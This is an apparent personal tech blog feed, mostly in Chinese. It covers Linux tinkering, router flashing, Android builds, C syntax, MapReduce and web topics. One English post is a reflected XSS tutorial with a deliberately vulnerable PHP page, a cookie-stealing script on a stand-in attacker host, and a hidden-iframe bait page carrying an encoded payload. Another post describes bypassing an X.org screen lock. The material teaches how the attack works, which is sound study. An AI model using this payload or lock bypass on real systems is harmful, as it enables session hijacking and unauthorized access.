There are always people doing the right thing in the face of wrong decisions...And that's the difference.
]]>俺想如果里面再嵌一堆微型电机能换气就真碉堡了。
Links:
]]>X -version
看一下X的版本号，如果是1.11，启动X的锁屏程序（screensaver/slock之类），然后按Ctrl+Alt+*（是小键盘的*不是8上面的）。然后锁屏就失效了……用Ctrl+Alt+/也有同样效果。
这个帖子是讲得比较好的：http://gu1.aeroxteam.fr/2012/01/19/bypass-screensaver-locker-program-xorg-111-and-up/，看完了来龙去脉估计也清楚了。
解决方法有二：
用xmodmap改键位映射，把XF86ClearGrab和XF86Ungrab都改成NoSymbol。相关帖子为：
http://forums.fedoraforum.org/showthread.php?t=275363
但是~/.Xmodmap好像不会被自动读取，还得在~/.xinitrc里加上相关命令：
xmodmap ~/.Xmodmap
注释代码使上述功能失效。相关帖子为：
Toy上的帖子还是热乎的，不知道还会出现啥样奇葩的评论……
]]>Jekyll是一个Ruby写的静态化站点生成器，特点是blog-aware，就是说适合拿来写博客。Jekyll支持多种markup languages，包括Markdown和Textile。就是说你用Markdown写文章，然后设计HTML模板（包括CSS、图片等等），最后运行Jekyll，自动帮你生成静态页面。生成的静态页面可以直接用常见的web服务器来serve（比如Apache和nginx等等）。
这东西有一个好处在于你可以用比较简单的语言Markdown来写作，而不是HTML，也不用关心HTML是怎么生成的，符合结构和渲染分离的原则（但是结构和渲染这东西总是相对的……）。而且还有一个好处是Jekyll和Git的关系非常紧密，你可以在Git repository里写作，正常commit/checkout，甚至可以上传到GitHub。GitHub Pages提供了对Jekyll的支持，上传之后会自动生成静态页面。关于GitHub Pages可以参考http://pages.github.com/
Jekyll的主页是https://github.com/mojombo/jekyll，大体上看完README就知道咋回事了。稍微比较重要的也就是这个目录结构https://github.com/mojombo/jekyll/wiki/usage。具体说就是：
其实说白了就是这么简单，你写个Markdown，Jekyll帮你搞成HTML。
貌似全程都没有数据库的参与，所以我还是觉得很神奇，如果有复杂的查询要求怎么办呢？看上去所有东西都要用Ruby程序搞定。当初写Blade的时候也在想是用纯文本还是数据库，后来为了查询简单就用了MySQL。如果纯文本在这方面也能做的很好的话那还真可以考虑抛弃数据库。不过我看_site下面生成的都是HTML，没有任何动态页面迹象或者索引之类的（好吧人家就是为了静态页面嘛……），那么在一堆完整的静态页面中做查询我觉得还是挺有挑战性的，相当于结构化的信息都被抹去了现在要反过来做，有点别扭。不过我看Octopress也有Search box呢，过会儿看看它是怎么做的吧。
Update. 朕惊了！跳到Google去了！
有时间的话还是想把Blade再升个级。其实现在这个版本也就算是个prototype，拖了很久没有重构了。写文章的方式还很蠢，很多HTML tags要手动加，没有辅助工具的用户估计很不爽。未来的计划大致包括：
具体说就是以Markdown作为书写语言，用Git进行版本控制（其实主要是为了方便查看过去特定时刻的状态，否则Git也不是太必要），支持静态化渲染和索引建立，方便进行关键字和日期等基本查找。评论的部分交给DISQUS估计能省去很多劳力（尤其是对一个静态化的站点来说）。最终的目标是，用户只需要写Markdown而不必管其他任何事情（当然如果他们愿意也可以自己写模板）。这工程不算太大但其实也不小，不过想想能把PHP+MySQL这一坨毛都移掉，用一种轻量化的方式来写blog，还是非常值得做的。万能的上帝请给俺发工资让俺搞定这件事儿吧！
]]>
There are always people doing the right thing in the face of wrong decisions...And that's the difference.
]]>But to figure out classic articles requires expert knowledge. An expert's evaluation about his/her speciality is much more helpful than a layman's. Thus your search experience will be greatly improved with the help of experts' opinion. However, the problem is that you have no way to see their evaluations. You may not know them personally. Even if you happen to read their evaluations somewhere on the Internet, it's very likely that these opinions are in the form of non-structural articles, which means they're hard to be integrated into search engines and it's still difficult to automate the utilization of these evaluations.
So it will be of great help if experts leave their opinions in a structural way. How can this be done? It's simple. They just need to mark a webpage as good or bad in the process of reading. Now you see why Google+ emerges? I've never believed Google+ is simply meant to be a social network from the day of its birth. I strongly believe the main reason of the emergence of Google+ is to improve the quality of Google Web Search.
In my original design, a social network benefits a search engine in a free manner. What do I mean by free? Consider what will happen if some expert doesn't what to share his/her opinion. Does that matter? Usually not, because there will be other experts in the same field who are willing to share and you just need to follow them instead. Another problem is that the opinion of an expert in area A may not be very helpful to a query in area B (they even act as noise). But you can put experts in different groups and set which group to take effect, possibly in different weights, for different queries.
The main advantage of this design is, you have the choice of who affects you. People who post helpful opinions will be followed by more users and become welcome and gain fame. People who post useless opinions, and thus play the role of unwelcome noise, will be discarded by users and only cause limited harm. Therefore the speakers have motivation to make good evaluations. This is the power of natural selection.
At the same time of listeners selecting speakers, speakers also select listeners. Listeners who do bad intentionally by following unwelcome speakers to increase their popularity will be punished, because they'd have much noise in their personal search. This discourages them from doing so.
Therefore, both speakers and listeners have good motivation guiding their behaviors. Thanks to this loose-coupling design, the whole ecosystem will evolve rather than degenerate.
And what's even more important, the improvement of search quality will attract people to join the social network! This is the power of a service-wide win-win strategy. If there is mutual promotion between two services, users of one service will be encouraged to use the other, and vice versa.
Maybe that's why Google introduces Search, plus Your World. Basically it adds three kinds of information in the search results: personal results, profiles in search, and people and pages.
However, this design doesn't follow my original idea faithfully. For example, you cannot filter evaluations from followees by the groups they are in. And there is too much noise in the personal search results. When I want to find the explanation of a scientific term, the personal results usually contain my followees' own experience with it rather than well-accepted high-quality resources related to it. So I think it pays more attentation to personalization rather than personal recommendation. It's more like a brochure of my followees' posts rather than a high-end recommendation system. Of course there are notices like 'XXX shared this' below some search results, but you know their existence only when you see them passively.
My prediction for the way we search is that it will advance through three stages:
Stage 1. A few people will mark webpages as good or not. But their opinions cover only a small part of everyday search, which has limited benefits.
In this stage, the usual (non-personalized) search will play the main role.
Stage 2. A majority of people begin to realize the benefits of personalized search. Due to the advantages of the above design, natural selection will begin to take affect for both speakers and listeners. In the end, mature and stable speaker communities will be formed in various fields.
In this stage, both non-personalized and personalized search will play the main role.
Stage 3. Marked webpages will be more and more important. Almost all search results will fall into two categories: marked and real-time. Real-time results will gradually become marked. But it may be a big challenge to maintain the relationship between speakers and listeners.
In this stage, personalized search will play the main role, except for real-time results.
Let's see whether this will happen in the next few years.
]]>神奇的人类！
Links:
]]>幸而很快搞到一条串口线，弄来multimeter确定了4个PIN都是什么。结果如下图：
登陆进去之后发现是iptables在捣鬼。OpenWrt里面预设的配置是按照接口来的，只改了接口没有改相应的chain，当然会出事了。没有刷成砖，却直接改成砖了，真是蛋疼。
然后就刷个新rom上去好了。MR11U可以直接用WR703N的rom，只是需要改一下固件头。方法是：
fixsum会直接修改固件，所以没有生成新文件。这时候这个mr11u.bin就可以直接在官方rom里网刷了。
如果不需要网刷，估计直接把WR703N的固件扔进去也没问题，但我没试过。至于fixsum的原理么，lark的代码里面已经写的很清楚了，就是先用key填固件的[0x4c, 0x5c)这个区域，然后算个MD5再填回去。
想直接刷的可以下载我修改好的rom。没有LuCI，但是有1.3M的剩余空间，自己爱装什么装什么吧。
]]>总的过程就是按照官方的教程来的，从这个开始：http://source.android.com/source/initializing.html
先安装软件：
yaourt -S repo-git jdk6 ccache perl-switch downgrade downgrade make
然后找一个3.81版本的make装上，因为据说3.82版的有bug。嗯，如果downgrade没有帮你找到，那你就自己找吧，找个旧mirror或者自己编译什么的。或者你也可以用3.82版试试，因为官方报告的bug是Mac版本的make。如果Linux上的3.82版make没有问题请留个评论。
以上列出的软件包只是需要的一部分，视机器的情况请对照官方软件列表。
其中ccache不是必须的，但如果需要多次编译它可以帮助节省大量时间。如果只编译一次，可以不装。如果安装了ccache，在.bashrc中做如下设置：
export USE_CCACHE=1 export CCACHE_DIR=<path-to-your-cache-directory> ccache -M 50G
还要做一件事情，把/usr/lib/python指向python2而不是默认的python3。虽然repo-git帮你把repo脚本里的python改成了python2，但编译到中间还是会错。用ln改就行了，我不写了。
JDK方面的问题，有Sun/Oracle JDK6和OpenJDK6两种选择（分别对应jdk6和openjdk6软件包）。编译时会对Java版本做检查，只有Sun/Oracle版本的可以通过。我是用Sun/Oracle版本进行编译的。如果非要用OpenJDK版本，需要修改build/core/main.mk以跳过Java版本检查。具体可以看这个帖子：
http://groups.google.com/group/android-building/browse_thread/thread/db94ca65bfc651a9
嗯，可是我们还没有源代码呢。先按照官方教程把源代码搞下来吧。具体步骤是：
然后就等吧。全部代码大概是6.2G，自行估算时间出去吃饭即可。哦如果不幸repo sync的时候卡死了或者没反应了kill掉重来即可，或者也可以手动删除有问题的git repository然后重来（repo不就是一堆git么……）。
比较好的情况是吃完回来发现下载完了。这时还有一处源代码要修改，在development/tools/emulator/opengl/host/renderer/Android.mk文件中需要在LOCAL_CFLAGS += -O0 -g下面加上一行LOCAL_LDLIBS += -lX11，否则编译时出错。具体参见这个帖子：
http://groups.google.com/group/android-building/browse_thread/thread/833b0386f996f7de
然后终于可以开始build了：
. build/envsetup.sh lunch full-eng make -j2
刚开始编译时会有这个错误：
/bin/bash: line 0: cd: cts/tools/cts-native-xml-generator/src/res: No such file or directory
但这个无害，见：
http://groups.google.com/group/android-building/browse_thread/thread/35d7bcfa6a47b1b3
一般双核的机器-j2或者-j4就行。方才下载源代码是I/O-bound，你出去吃饭了，这次是CPU-bound，你可以去洗个澡。如果是用笔记本编译的话可以在盖子和键盘中间夹两袋牛奶，洗完澡就可以回来喝热乎的了。
编译期间系统负载很大，双核CPU几乎完全100%占用（所以才能热牛奶）。不过CPU好说，renice一下就不影响其他进程工作了。而内存消耗就比较囧，到最后2G内存全部占满，而且swap也用了500多M，机器卡的不像样子。好在还是能搞定的。不过要编译ICS，最好还是有4G左右的内存吧。
编译之后生成的目标文件和应用程序大概是12G，ccache占用了3.5G。所以编译前至少要留30G的硬盘空间吧（别忘了源代码还有6.2G）。
最后运行emulator：
#!/bin/bash export ANDROID_PRODUCT_OUT=~/android/out/target/product/generic export PATH=~/android/out/host/linux-x86/bin:$PATH emulator
上图两张：
看这个原理图就很好理解了。扭曲液晶上下都是偏光板，但透射方向互相垂直。不加电时背光穿过后方偏光板成为偏振光，再穿过扭曲液晶偏振方向转90度，恰好可以通过前方偏光板。液晶加电时顺着电场方向平行排列，不改变后方偏振光的偏振方向，于是被前方偏光板挡住了。
背光始终都是亮的。液晶不加电时是透射，也就是白色。显示黑色需要给液晶加电，反而费电。当然和背光的电量比起来还是很小的，所以液晶显示什么颜色耗电都差不多，除非调节背光亮度。
哦，回到正题上来。这家伙就是把前方偏光板撕下来贴眼镜上了。
Links:
]]>Modern cryptography is about defining security notions and then constructing schemes that provably achieve these notions.
最近才意识到第一个任务也是很重要的，indistinguishability/semantic security/CPA/CCA/KDM什么的才不是生来就那个样子呢。
]]>Update. 出了：
网刷比较无聊，把固件传上去就行了。有的官方ROM会检查固件头，不同版本改法不一样。
JTAG因为没有器材也没搞，感觉不刷bootloader的话也用不到吧。
所以就只是用串口试了一下。因为现在的机器大多没串口了就用USB转串口。比较常用的转换器是Prolific的PL2303，Linux应该已经有它的驱动了。用lsmod usbserial确认一下就行了。
然后配置一下minicom。Serial port setup里面的Serial Device设置成/dev/ttyUSB0，Bps/Par/Bits设置成115200 8N1，Hardware Flow Control关闭。配置完了选Save setup as dfl保存。最后Exit from Minicom退出。
关闭路由器。保持线缆连接，启动minicom，给路由器重新上电，这时候就能在minicom里看到路由器启动的消息了：
U-Boot 1.1.4 (May 12 2010 - 12:48:25) AP99 (ar7241 - Virian) U-boot DRAM: sri ar7240_ddr_initial_config(133): virian ddr1 init #### TAP VALUE 1 = 0xf, 2 = 0x10 [0x0: 0x1f] 32 MB id read 0x100000ff sector count = 64 Flash: 4 MB Using default environment In: serial Out: serial Err: serial Net: ag7240_enet_initialize... No valid address in Flash. Using fixed address No valid address in Flash. Using fixed address Virian MDC CFG Value ==> 4 : cfg1 0xf cfg2 0x7014 eth0: 00:03:7f:09:0b:ad eth0 up Virian MDC CFG Value ==> 4 : cfg1 0xf cfg2 0x7214 eth1: 00:03:7f:09:0b:ad ATHRS26: resetting s26 ATHRS26: s26 reset done eth1 up eth0, eth1 Autobooting in 1 seconds
看到那个Autobooting in 1 seconds的时候快速敲下tpl三个键，阻止bootloader加载内核并显示prompt。不知道命令就打help。有个printenv可以试一下，能看到bootloader的一些设置，例如本机和服务器IP，以及从哪个地址启动内核之类：
ar7240> printenv bootargs=console=ttyS0,115200 root=31:02 rootfstype=jffs2 init=/sbin/init mtdparts=ar7240-nor0:256k(u-boot),64k(u-boot-env),2752k(rootfs),896k(uImage),64k(NVRAM),64k(ART) REVISIONID bootcmd=bootm 0x9f020000 bootdelay=1 baudrate=115200 ethaddr=0x00:0xaa:0xbb:0xcc:0xdd:0xee ipaddr=192.168.1.10 serverip=192.168.1.27 stdin=serial stdout=serial stderr=serial ethact=eth0 Environment size: 368/65532 bytes
知道怎么回事了就先退出来，把该下载的东西下载了。比如ROM映像：http://downloads.openwrt.org/snapshots/trunk/ar71xx/openwrt-ar71xx-generic-tl-mr3420-v1-squashfs-factory.bin。
然后在PC机上安装tftpd。Arch上可用yaourt -S tftp-hpa搞定。/etc/rc.d/tftpd start即可启动，默认根目录为/var/tftpboot，当然可以在配置文件/etc/conf.d/tftpd里面改。
把上面那个文件下来改名成code.bin（这样以后少敲很多字母），放在/var/tftpboot目录下面。将和路由器相连的网卡的地址设为192.168.1.27（在printenv时看到过的），然后启动tftpd。用tftp 192.168.1.27和get code.bin测试一下，保证能下载。
然后给路由器上电，还是关键点那个地方敲tpl进入bootloader的prompt。然后输入下面的命令（前面那个是prompt，你懂的）：
ar7240> erase 0x9f020000 +0x3c0000 ar7240> tftpboot 0x81000000 code.bin ar7240> cp.b 0x81000000 0x9f020000 0x3c0000 ar7240> bootm 0x9f020000
这一坨干的事情就是说把flash上以0x9f020000为起点，长度为0x3c0000的区块擦除。然后用TFTP把code.bin（长度正好为0x3c0000）加载到RAM，再把RAM的数据写到flash，最后从flash的指定位置启动。
然后就进到OpenWrt里面去了，剩下的爱怎么折腾怎么折腾。
最后是用串口烧ROM时候的完整log：
ar7240> erase 0x9f020000 +0x3c0000
First 0x2 last 0x3d sector size 0x10000
61
Erased 60 sectors
ar7240> tftpboot 0x81000000 code.bin
dup 1 speed 1000
Using eth1 device
TFTP from server 192.168.1.27; our IP address is 192.168.1.10
Filename 'code.bin'.
Load address: 0x81000000
Loading: #################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
######################################################
done
Bytes transferred = 3932160 (3c0000 hex)
ar7240> cp.b 0x81000000 0x9f020000 0x3c0000
Copy to Flash... write addr: 9f020000
done
ar7240> bootm 0x9f020000
哦，还要上图两张：
Links:
穷孩子乖乖干活去了……
Links:
]]>
struct comp {
int x;
int y;
};
那么初始化comp类型变量的一般方法就是：
struct comp z1 = {2, 3};
如果不想按照struct comp对其成员定义的顺序(C89-style initializer)来初始化，可以用另一种形式(designated initializer)：
struct comp z1 = {
.y = 3,
.x = 2,
};
效果是一样的。
如果在初始化时有些成员的值没有指定，默认为0。例如如下定义一个全0的结构体：
struct comp z1 = {};
所有这些初始化的方法在赋值时都没用了。如果z1是一个已经定义了的结构体，现在想让z1具有值{6, 7}，只能：
z1.x = 6; z1.y = 7;
或者：
struct comp z2 = {6, 7};
z1 = z2;
然后从第二种方法里可以得到一些启发，能不能直接一步做完？于是就有了C99中出现的一个方法：compound literal。还是以给z1赋值为例，使用方法如下：
z1 = (struct comp) {6, 7};
这就干净多了。其实也就相当于：
struct comp temp = {6, 7};
z1 = temp;
也不一定非得用常量，变量也行：
int i = 6, j = 7;
z1 = (struct comp) {i, j};
或者更花哨一点：
z2 = (struct comp) {
.y = i,
.x = j,
};
总的来说就是允许用初始化的语法来对结构体赋值了。
比较神奇的是compound literal是个左值，也就是说可以这样写：
struct comp z1 = {2, 3};
(struct comp) {6, 7} = z1;
虽然看上去不知道有啥用……
Note. 在传参时可能有点用。比如一个函数会修改形参，那传一个compound literal进去可以省却定义一个临时变量。
但不管咋说compound literal在结构体赋值时还是很有用的。
Links:
]]>/opt/android-ndk/prebuilt/linux-x86/bin/awk: /opt/android-ndk/prebuilt/linux-x86/bin/awk: cannot execute binary file Android NDK: Host 'awk' tool is outdated. Please define HOST_AWK to point to Gawk or Nawk ! /opt/android-ndk/build/core/init.mk:258: *** Android NDK: Aborting. . Stop.
按照提示设置HOST_AWK也不行。无奈file了一下那个出问题的awk发现居然是64位的……这……
解决方法是把那个出问题的awk删掉或改名，然后就会用系统里的了：
cd /opt/android-ndk/prebuilt/linux-x86/bin mv awk awk_]]>
安装Android-NDK：
yaourt -S android-ndk
设置环境变量：
PATH=$PATH:/opt/android-ndk/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin
为简单起见建了个Bash脚本命名为aadb，内容为:
#!/bin/bash arm-linux-androideabi-gcc --sysroot /opt/android-ndk/platforms/android-4/arch-arm -fPIC -mandroid -DANDROID -DOS_ANDROID "$@"
弄个helloworld.c试一下：
#include <stdio.h>
int main()
{
printf("Hello, world!\n");
return 0;
}
编译，放进Android：
agcc -o helloworld helloworld.c adb push helloworld /system/bin
在Android shell里面：
helloworld
输出：
Hello, World!
成功了……
Update. 在/opt/android-ndk/docs/STANDALONE-TOOLCHAIN.html看见更专业的玩法应该是建立一个独立工具链，方法是：
/opt/android-ndk/build/tools/make-standalone-toolchain.sh --platform=android-4 --install-dir=/tmp/my-android-toolchain
sysroot会自动设置好。用的时候这样就行了：
export PATH=/tmp/my-android-toolchain/bin:$PATH export CC=arm-linux-androideabi-gcc
Links:
]]>find -xdev -samefile a.txt
Display the inode number of a.txt:
ls -i a.txt
Find all files (mutual hard links) with the same inode number 2000 in current directory:
find -xdev -inum 2000
-xdev means not descending directories on other filesystems. Omit it if you're sure the operation is performed on a single filesystem.
Links:
]]>另附吸锡线使用方法图示：http://mtoou.info/xixixian-syff/
]]>interface=wlan0 #提供服务的interface bind-interfaces #绑定到具体interface而不是* dhcp-range=192.168.111.50,192.168.111.100,12h #DHCP IP range dhcp-host=aa:bb:cc:dd:ee:ff,192.168.111.50 #设置静态IP-MAC绑定
然后到/etc/resolv.conf把第一个nameserver设置成127.0.0.1就行了。真简单。
]]>First, make an insecure site, say a search engine:
<?php
//setcookie('username', 'Bob Smith');
//setcookie('country', 'United States');
function get_cookie()
{
if (empty($_COOKIE))
return 'No cookie';
$result = '';
foreach ($_COOKIE as $key => $value)
$result = $result.$key.'='.$value.',';
return $result;
}
function get_query()
{
if (isset($_GET['query']))
return $_GET['query'];
else
return 'No query';
}
?>
<html>
<head>
<title>A Weak Search Engine</title>
</head>
<body>
<p>Cookie: <span id="cookie"><?php echo get_cookie();?></span></p>
<p>Search Query: <span id="query"><?php echo get_query();?></span></p>
</body>
</html>
This search engine will show cookies (to facilitate visualization) and the search query (but no search results...). That's a reasonable setting.
Why is this search engine insecure? Because it doesn't filter the search query but directly displays it on the response page. Now we'll utilize it. Without loss of generality, we let the domain of it be search.example.com.
Now a malicious user can maintain a website mallory.example.com. On this site she has a PHP script steal.php:
<?php
$fp = fopen('/tmp/mallory.txt', 'w');
fwrite($fp, $_GET['cookie']);
fclose($fp);
$im = file_get_contents('/tmp/im.png');
header('content-type: image/png');
echo $im;
?>
steal.php will record the 'cookie' parameter permanently and returns an image.
The use of steal.php will be obvious when we introduce the search query:
newest laptop<script type="text/javascript">var i = document.createElement('img');i.src = 'http://mallory.example.com/steal.php?cookie='+document.cookie;</script>
We use the img tag because it can cross domain. If a logged-in user has ever made such a search query, then his cookies will be stolen.
How to entice the user to make such a query? By embedding the link inside a hidden iframe. We can make a very innocent page containing a hidden iframe. No need to use client-side script. So the same origin policy for iframe doesn't help. As soon as the user activates the iframe by visiting the containing page, his cookies get stolen.
The enticing page is called bait.html, which can reside on any server (not necessary to be search.example.com or mallory.example.com).
<html>
<head>
<title>An innocent page</title>
</head>
<body>
<p>This page looks very innocent, isn't it?</p>
<iframe style="display:none;" src="http://search.example.com/?query=%6E%65%77%65%73%74%20%6C%61%70%74%6F%70%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%69%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%69%6D%67%27%29%3B%69%2E%73%72%63%20%3D%20%27%68%74%74%70%3A%2F%2F%6D%61%6C%6C%6F%72%79%2E%65%78%61%6D%70%6C%65%2E%63%6F%6D%2F%73%74%65%61%6C%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E"></iframe>
</body>
</html>
The search query is encoded so that it won't be too obvious that someone is doing bad even the source code is viewed.
The whole attack goes as follows. Mallory will spread the page bait.html. If a user Bob, who has ever logged in search.example.com, visits bait.html, he will activate the hidden iframe. Thereby he sends the malicious query to search.example.com and leaks his cookies. And what's even worse, he won't notice this on page bait.html.
This is a traditional nonpermanent/reflected XSS attack (because the target website reflects the malicious query).
The conclusion is that XSS attack is very flexible and can be conducted in three steps. First, find a vulnerable page on the target website. Second, make a malicious query. Third, hide the malicious query inside an innocent-looking page and widely spread it (via email, forums, etc.). Actually the third step looks more like CSRF, or more precisely described as CSRF is used to help XSS. If you have better ways to lure the victim to send the malicious query, then the first two steps suffice.
The related code is provided: XSS package
]]>矽谷可以動員鄉民！鄉民！
]]>
其他的间距还有（所有间距都是累加）：
另外还有些在list里用的：
Links:
]]>Links:
]]>因为用N卡，所以有TwinView这个东西。通俗说，TwinView就是显卡把两个显示器合成一个，X只会看到一个screen。还有一个通用的方案Xinerama，是把几个X screen拼成一个大的virtual screen。一般来说TwinView比Xinerama好一些，因为在TwinView里这活是显卡做的，对OpenGL的支持好些。
但是这两种方法都是弄一个大的screen出来，有一点不好的是我两块屏不一样大，设置墙纸比较烦。于是干脆弄了两个screen（用N卡有nvidia-settings可以用啊），在xorg.conf里用ServerLayout并排放，然后.xinitrc里开两个WM分别负责不同的screen。这样鼠标还是可以穿两块屏，但是不能互拖窗口。
另外这样还有一个问题是system tray的notification就麻烦了，因为DISPLAY环境变量的screen number不一样。可是又没办法把一个程序的功能部分和托盘部分拆开（程序又不是我写的），比较囧……
嗯，墙纸真是麻烦。要不我按照两块屏的分辨率粘一个大墙纸出来？这也太蛋疼了。
最近杂事多，暂时搁置……
]]>WM可以分三类：tiling/stacking/compositing：
就这么简单的一个分类，还以为有啥技术含量呢。想起小时候学的局域网，城域网和广域网的定义了。
Links:
]]>提供ISO镜像安装，不大，几十M而已。VirtualBox下实验发现安装很快。界面看上去还是有点挫，但总归已经非常像Windows了。
有人愿意重新实现API这怎么办？算侵权么？
这些开源项目都哪儿搞的经费……
Links:
]]>不过这东西是商业产品，不知道是怎么实现的。难道是dump CPU和memory的状态么？求指教。
Links:
]]>为啥要想一想？首先我不是高帅富，花钱还是要算计的。而且我不捐这一点也未必就不能正常使用Wiki。从个人利益的角度上看，如果捐款和不捐款能够享受相同的服务，为什么要产生这笔支出呢？
按照这个逻辑来看，捐款的行为简直是要遭鄙视了。不捐款的人大可以以成功者自居，因为产出一样，没成本，净利润大嘛。
但显然又不能否认的是，如果所有人都不捐款，那Wikipedia能不能开下去就是一个问题了。
这非常巧妙。如果每个人都做对自己最有利的选择，最后的结果是一起毁灭（Wikipedia关门了）。但如果有人不做对自己有利的选择，那只有这些人毁灭（破产，或者至少是花自己的钱养活别人）。
简单说，就是谁想让全局结果变得更好，反而会把自己变得更糟。
这是一个无处不在的神奇逻辑。强盗（流氓？）总是战无不胜。这个算智慧还是愚蠢呢？
Dear XXX,
You are amazing, thank you so much for donating to the Wikimedia Foundation!
This is how we pay our bills -- it's people like you, giving five dollars, twenty dollars, a hundred dollars. My favourite donation last year was five pounds from a little girl in England, who had persuaded her parents to let her donate her allowance. It's people like you, joining with that girl, who make it possible for Wikipedia to continue providing free, easy access to unbiased information, for everyone around the world. For everyone who helps pay for it, and for those who can't afford to help. Thank you so much.
I know it's easy to ignore our appeals, and I'm glad that you didn't. From me, and from the tens of thousands of volunteers who write Wikipedia: thank you for helping us make the world a better place. We will use your money carefully, and I thank you for your trust in us.
Thanks,
Sue Gardner
Wikimedia Foundation Executive Director
目前我的逻辑是：虽然Wikipedia可以免费给我提供服务，但是我觉得Wikipedia给我提供的服务值这些钱。再者，行善这件事，不能期望一个人做很多。每个人做一点的贡献可能更大。
]]>但同源策略使得页面间访问不够灵活。规避同源策略从而实现跨域访问的一种方法是修改document.domain。基于安全性考虑，只允许将document.domain修改为当前值的一个后缀（高层域名），且不能是顶级域名。例如从foo.example.com修改为example.com是合法的，但修改为bar.example.com或com就不合法。
所以这种方法只适合于在有公共祖先的两个域之间跨域，例如foo.example.com和bar.example.com，或者example.com和bar.example.com。以后者为例。假设页面http://example.com/iframe/index.html包含了地址为http://bar.example.com/iframe/iframe.html的iframe。那么在两个页面中分别设置
document.domain = 'example.com';
即可实现跨域。虽然在这里example.com是bar.example.com的后缀，也必须设置一下document.domain（哪怕是用document.domain = document.domain也可以），这表示example.com有跨域的意向（具体浏览器实现中修改port为null）。一个域必须表现出跨域的意向才可以跨域，以避免随便被其子域跨域。
还有一些跨域的方法，比如JSONP，利用JavaScript没有同源策略这个特点，得到服务器端动态生成的JavaScript代码。再比如ABA式的iframe嵌套，利用最内层的JavaScript代码控制最外层的页面（二者同源嘛），原理都差不多。但这些也都是hack罢了。HTML5里有标准的跨域通信方法postMessage，以后肯定是主流了。
Links:
]]>用crontab一小时run一次就可以了，生成静态图片。
Links:
]]>mail.google.com##div[class="w-asK w-atd"]
不过这样一来其他class为w-asK和w-atd的条目也看不见了，也许有用呢？
Update. Adblock Plus这个方法好像只是把小黑条隐藏了，还是会阻碍快捷键使用。还是老老实实写了个Greasemonkey脚本，点击置底链接即可安装。
Links:
]]>这篇paper虽然有十几页，但组织地非常连贯清晰，一个小时就能看完。它讲的就是怎么把一个大规模计算任务分配到一群小计算机上来并行地算。基本动作只有两个：map和reduce。
啥叫map？下面这个程序就是map：
#!/usr/bin/python2 a = [1, 2, 3, 4, 5] m = lambda x : x * x l = map(m, a) print list(l) Output: [1, 4, 9, 16, 25]
啥叫reduce？下面这个程序就是reduce：
#!/usr/bin/python2 a = [1, 2, 3, 4, 5] r = lambda x, y : x + y s = reduce(r, a) print s Output: 15
知道了这两个简单的概念，MapReduce的过程就可以用以下两个式子来说明：
\[ \text{map: } (k1, v1) \rightarrow list(k2, v2) \] \[ \text{reduce: } (k2, list(v2)) \rightarrow list(v2) \]
也就是说，map是把输入分解为一系列的key-value pair，然后有相同key的key-value pair被合并之后形成(k2, list(v2))，交给reduce形成最终的输出。
Note. 其实我觉得最初的k1和最后的list(v2)不太好理解，不如写成（仅个人看法）：
\[ \text{map: } input \rightarrow list(k2, v2) \] \[ \text{reduce: } (k2, list(v2)) \rightarrow (k2, result) \]好处是啥呢？是map和reduce分别可以并行。有一个master节点负责统一规划，它先把输入分割成若干块，交给不同的map workers进行map。在map的时候形成的key-value pair会按照一个关于key的划分函数（类似于hash(key)）决定由哪个reduce worker进行reduce。map完毕之后reduce workers从map workers那里取得中间结果，sort一下，然后进行reduce。由于不同的reduce workers负责不同的key(指k2)，所以reduce也是可以并行的。
作为最终用户，完全不必care分布式计算的细节，例如fault-tolerance, locality什么的，这些都隐含在MapReduce里面了。最终用户只需要实现map和reduce这两个函数就可以了。而MapReduce的最神奇之处就在于作者意识到多数任务都可以利用map+reduce的方式来实现。
举例说，词频统计的map和reduce就可以这样写：
map(String key, String value):
// key: document name
// value: document contents
for each word w in value:
EmitIntermediate(w, "1");
reduce(String key, Iterator values):
// key: a word
// values: a list of counts
int result = 0;
for each v in values:
result += ParseInt(v);
Emit(AsString(result));
map把整个文本拆成了一个个键值对<word, 1>，然后reduce按照word把这些1一个一个加起来，就这么简单。当然你要说这么一个一个加的话reduce workers到map workers那里去取数据的过程不是很浪费带宽？这作者也有考虑到，可以指定一个combiner函数在map到reduce中间先部分合并一下。combiner和reduce基本就是一样的，只是输出行为不同。
还有一些其他的优化就不说了，中文翻译总不如original好，何况我还是个菜。
Links:
]]>于是就找到一个pianobar，是pandora.com的终端界面。有一个进化版pianobarfly，加入了录音功能。界面有点糙，但用着还挺顺手的。可以用~/.config/pianobarfly/config配置文件指定录音的格式、文件命名方式等等。如果一首歌播放到中间ban了或者skip了，已经录制下的部分还会自动删除。
Links:
]]>这个特性虽然方便了搜索引擎对用户点击的统计，但从用户的角度来看实在是太贱了。你把鼠标移上去看看状态栏，咦，是原始地址。右击复制，咦，就变成了一坨重定向。
这个特性是怎么实现的呢？根据谷奥的文章，是在链接上用了onmousedown。你不点，它就是最开始载入时的原始地址；你一点，它就变成重定向了。我把实现简化了一下，但原理没有变：
<html>
<head>
<title>Google or Baidu</title>
<script type="text/javascript">
function rwt(a) {
a.href="http://www.baidu.com/";
}
</script>
</head>
<body bgcolor="white">
<a href="http://www.google.com/" onmouseup="rwt(this)">Google or Baidu</a>
</body>
</html>
把鼠标放上去看状态栏是Google，一点就跑到Baidu上去了。
这就好办了。我们Pentadactyl党是不吃这个的。用;y轻松搞定。
党外人士如果用Firefox可以用Greasemonkey插件Google Anonymizer搞定：http://userscripts.org/scripts/show/10448。Chrome上按理说也行吧，我没试过。
最后发点牢骚，Google就没想过用onmouseup代替onmousedown么？如果用onmouseup的话可以复制原地址的链接：在链接上按住鼠标右键不动，拖到Copy Link Location就可以了。只要不抬起鼠标右键，就不会触发onmouseup事件。当然，只能用一次。不过一旦复制好就一直在剪贴板里了，一般来说也不需要复制很多次。
Links:
]]>其实我还是觉得gnome-specimen好。虽然不能打开额外的字体文件，但只需要上下箭头外加回车就能完成字体选择和对比。评测的作者为什么非得用鼠标点呢？
Links:
